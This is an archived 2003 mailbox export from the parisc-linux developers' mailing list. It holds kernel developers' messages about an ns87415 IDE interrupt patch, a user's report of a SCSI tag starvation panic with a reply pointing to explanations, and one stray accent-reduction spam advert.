Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622583 27776 80.91.229.3 (22 Nov 2014 02:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:23 +0000 (UTC)
Cc: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:05:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06167482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 09:05:33 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h6BF2rKd020899;
	Fri, 11 Jul 2003 16:02:54 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h6BF2pCj020897;
	Fri, 11 Jul 2003 16:02:51 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18888

On Gwe, 2003-07-11 at 15:07, Matthew Wilcox wrote:
> Would this patch make sense for 2.5?  I have to confess not testing it
> on any hardware, but it seems to be the Right Thing (and I'm sure Alan
> remembers the mess we had in the 2.4 parisc tree for this ...)

Yes, it makes sense to do this generally. However can you also pass
hwif to the ide_default_irq function because that lets the arch code
work out what pci bus the device is nailed to




From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 16:16:40 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20030711151640.GD20424@parcelfarce.linux.theplanet.co.uk>
References: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk> <1057935770.20636.22.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622583 27779 80.91.229.3 (22 Nov 2014 02:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:23 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:16:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72DE4482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 09:16:41 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19azdY-0006z4-OM; Fri, 11 Jul 2003 16:16:40 +0100
Content-Disposition: inline
In-Reply-To: <1057935770.20636.22.camel@dhcp22.swansea.linux.org.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18889

On Fri, Jul 11, 2003 at 04:02:50PM +0100, Alan Cox wrote:
> On Gwe, 2003-07-11 at 15:07, Matthew Wilcox wrote:
> > Would this patch make sense for 2.5?  I have to confess not testing it
> > on any hardware, but it seems to be the Right Thing (and I'm sure Alan
> > remembers the mess we had in the 2.4 parisc tree for this ...)
> 
> Yes, it makes sense to do this generally. However can you also pass
> hwif to the ide_default_irq function because that lets the arch code
> work out what pci bus the device is nailed to

Erm, that seems like more work than I should be doing.  That would touch
36 files, including a lot of mips/ppc ide files.  Or did you want Bart
to make that change?

BTW, Bart, seems like sparc64 does _have_ the ide_default_irq() function,
it just returns 0.  So I think this patch shouldn't break anything.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 09:24:59 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030711152459.GA27684@dsl2.external.hp.com>
References: <20030711140732.GA20424@parcelfarce.linux.theplanet.co.uk> <Pine.SOL.4.30.0307111612370.9740-100000@mion.elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622583 27780 80.91.229.3 (22 Nov 2014 02:16:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:23 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>, parisc-linux@parisc-linux.org
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:24:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 55571482A; Fri, 11 Jul 2003 09:24:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.SOL.4.30.0307111612370.9740-100000@mion.elka.pw.edu.pl>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18890

On Fri, Jul 11, 2003 at 04:26:21PM +0200, Bartlomiej Zolnierkiewicz wrote:
> Are there any other archs using ns87415?

Well, the original ns87415 is a PCI device.
I'd guess any arch could have interest in it.

The parisc specifc code is for "SuckyIO" (aka Nat Sem "87560")
which has ns87415 embedded as one of it's functions.
AFAIK, HP was the only customer to use NS's SuckyIO chip.

grant


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 17:32:12 +0200 (MET DST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.30.0307111726350.7550-100000@mion.elka.pw.edu.pl>
References: <20030711151640.GD20424@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622584 27782 80.91.229.3 (22 Nov 2014 02:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:24 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:32:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mion.elka.pw.edu.pl (mion.elka.pw.edu.pl [194.29.160.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF1EB482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 09:32:38 -0600 (MDT)
Original-Received: from mion.elka.pw.edu.pl ([194.29.160.35]:36607 "EHLO
	mion.elka.pw.edu.pl") by mion.elka.pw.edu.pl with ESMTP
	id <S314760AbTGKPcY>; Fri, 11 Jul 2003 17:32:24 +0200
In-Reply-To: <20030711151640.GD20424@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by AMaViS perl-11 mion
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18891

On Fri, 11 Jul 2003, Matthew Wilcox wrote:

> On Fri, Jul 11, 2003 at 04:02:50PM +0100, Alan Cox wrote:
> > On Gwe, 2003-07-11 at 15:07, Matthew Wilcox wrote:
> > > Would this patch make sense for 2.5?  I have to confess not testing it
> > > on any hardware, but it seems to be the Right Thing (and I'm sure Alan
> > > remembers the mess we had in the 2.4 parisc tree for this ...)
> >
> > Yes, it makes sense to do this generally. However can you also pass
> > hwif to the ide_default_irq function because that lets the arch code
> > work out what pci bus the device is nailed to
>
> Erm, that seems like more work than I should be doing.  That would touch
> 36 files, including a lot of mips/ppc ide files.  Or did you want Bart
> to make that change?

Alan, are there any benefits of doing this?

> BTW, Bart, seems like sparc64 does _have_ the ide_default_irq() function,
> it just returns 0.  So I think this patch shouldn't break anything.

Yes, but 0 != 14 && 0 != 15. I am just paranoid. :-)

> --
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk





From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 16:35:15 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030711153515.GE20424@parcelfarce.linux.theplanet.co.uk>
References: <20030711151640.GD20424@parcelfarce.linux.theplanet.co.uk> <Pine.SOL.4.30.0307111726350.7550-100000@mion.elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622584 27790 80.91.229.3 (22 Nov 2014 02:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:24 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:35:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69852482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 09:35:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19azvX-0007BQ-Mw; Fri, 11 Jul 2003 16:35:15 +0100
Content-Disposition: inline
In-Reply-To: <Pine.SOL.4.30.0307111726350.7550-100000@mion.elka.pw.edu.pl>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18892

On Fri, Jul 11, 2003 at 05:32:12PM +0200, Bartlomiej Zolnierkiewicz wrote:
> > BTW, Bart, seems like sparc64 does _have_ the ide_default_irq() function,
> > it just returns 0.  So I think this patch shouldn't break anything.
> 
> Yes, but 0 != 14 && 0 != 15. I am just paranoid. :-)

Oh, 14 and 15 are not valid sparc64 irqs.  No problem.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alchemist@cdc712-9.cdc.polimi.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tag starvation problem
Date: Fri, 11 Jul 2003 17:41:18 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20030711154118.GA378@cdc712-9.cdc.polimi.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622584 27794 80.91.229.3 (22 Nov 2014 02:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:41:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cdc712-9.cdc.polimi.it (cdc712-9.cdc.polimi.it [131.175.7.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9AB5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jul 2003 09:41:23 -0600 (MDT)
Original-Received: by cdc712-9.cdc.polimi.it (Postfix, from userid 1004)
	id 1A6D341A5; Fri, 11 Jul 2003 17:41:18 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18893

Dear Sirs,

Since 2.4.20-pa35 my 712-60/128Mb suffers from the "tag starvation problem":

kernel msg: target(6.0) suffers from tag starvation problem

then everything seems ok for a few seconds and then a sudden kernel panic.
Note that until pa35 everything went ok (excluding the 712 power switch that
does not work).
I routinely use parisc-linux precompiled kernels.
The problem also appears in 2.4.21pa2.

any help anyone ?
thanks in advance.


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
Date: Fri, 11 Jul 2003 17:47:46 +0200 (MET DST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.30.0307111742220.13589-100000@mion.elka.pw.edu.pl>
References: <20030711153515.GE20424@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622584 27797 80.91.229.3 (22 Nov 2014 02:16:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:24 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 09:47:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mion.elka.pw.edu.pl (mion.elka.pw.edu.pl [194.29.160.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84934482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 09:47:58 -0600 (MDT)
Original-Received: from mion.elka.pw.edu.pl ([194.29.160.35]:37758 "EHLO
	mion.elka.pw.edu.pl") by mion.elka.pw.edu.pl with ESMTP
	id <S314555AbTGKPrz>; Fri, 11 Jul 2003 17:47:55 +0200
In-Reply-To: <20030711153515.GE20424@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by AMaViS perl-11 mion
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18894

On Fri, 11 Jul 2003, Matthew Wilcox wrote:

> On Fri, Jul 11, 2003 at 05:32:12PM +0200, Bartlomiej Zolnierkiewicz wrote:
> > > BTW, Bart, seems like sparc64 does _have_ the ide_default_irq() function,
> > > it just returns 0.  So I think this patch shouldn't break anything.
> >
> > Yes, but 0 != 14 && 0 != 15. I am just paranoid. :-)
>
> Oh, 14 and 15 are not valid sparc64 irqs.  No problem.

Okay, patch accepted.

BTW Can we make irq detecion in init_hwif_ns87415() a bit simpler
    by using native PCI irq detection present in setup-pci.c?
    Hmmm...  I need to grab ns87415 datasheet...

> --
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk



From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Andrews <mandrews@no-moreaccent.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] - Are you learning ESL or TESL?
Date: Fri, 11 Jul 2003 11:41:23 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20030711164129.B3D26482A@dsl2.external.hp.com>
Reply-To: mandrews@no-moreaccent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="5e4526f7-537e-4dd8-b985-ad9516d2efee"
X-Trace: ger.gmane.org 1416622585 27799 80.91.229.3 (22 Nov 2014 02:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:25 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 10:41:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from no-moreaccent814.com (24-136-31-90.na.21stcentury.net [24.136.31.90])
	by dsl2.external.hp.com (Postfix) with SMTP id B3D26482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jul 2003 10:41:29 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18895

This is a multi-part message in MIME format
--5e4526f7-537e-4dd8-b985-ad9516d2efee
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Reader,

No More Accent is an accent reduction product, which helps to remove accents. =
For example, an Asian lady (or any nationality) may have communication =
problems with her English when speaking to her work mates or friends.

With that in mind, No More Accent teaches Accent Reduction methodologies to =
help in this area. In fact, No More Accent can be used in almost any =
situation where an accent reduction is required. Even Actors within the =
Entertainment Industry have turned to No More Accent as a way to lose or gain =
an accent of another nationality.

No More Accent is available in two versions, CD-ROM and VHS Cassette Tape =
(PAL and NTSC formats) both can be purchased directly via the =
www.no-moreaccent.com website.
If you would like further information about our products or services, please =
contact myself when you have a moment.

Best Wishes...

Martin Andrews
Marketing Co-ordinator

http://www.no-moreaccent.com

Your #1 Resource for Accent Reduction!    
--5e4526f7-537e-4dd8-b985-ad9516d2efee--



From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tag starvation problem
Date: Fri, 11 Jul 2003 10:45:20 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20030711164520.GA30259@dsl2.external.hp.com>
References: <20030711154118.GA378@cdc712-9.cdc.polimi.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622585 27800 80.91.229.3 (22 Nov 2014 02:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alchemist@cdc712-9.cdc.polimi.it
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 11 10:45:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D672D482A; Fri, 11 Jul 2003 10:45:20 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030711154118.GA378@cdc712-9.cdc.polimi.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18896

On Fri, Jul 11, 2003 at 05:41:18PM +0200, alchemist@cdc712-9.cdc.polimi.it wrote:
> Dear Sirs,
> 
> Since 2.4.20-pa35 my 712-60/128Mb suffers from the "tag starvation problem":
> 
> kernel msg: target(6.0) suffers from tag starvation problem

Problem explanation is here:
http://lists.debian.org/debian-hppa/2002/debian-hppa-200201/msg00067.html

and here:
http://licensing.steeleye.com/support/papers/ols_2002_slides.pdf

> then everything seems ok for a few seconds and then a sudden kernel panic.
> Note that until pa35 everything went ok (excluding the 712 power switch that
> does not work).

I've been seeing problems with recent 2.4.x kernels in the SCSI error
recovery path on ia64-linux as well. I haven't tried to track down
those problems yet.

grant

> I routinely use parisc-linux precompiled kernels.
> The problem also appears in 2.4.21pa2.
> 
> any help anyone ?
> thanks in advance.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:28:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
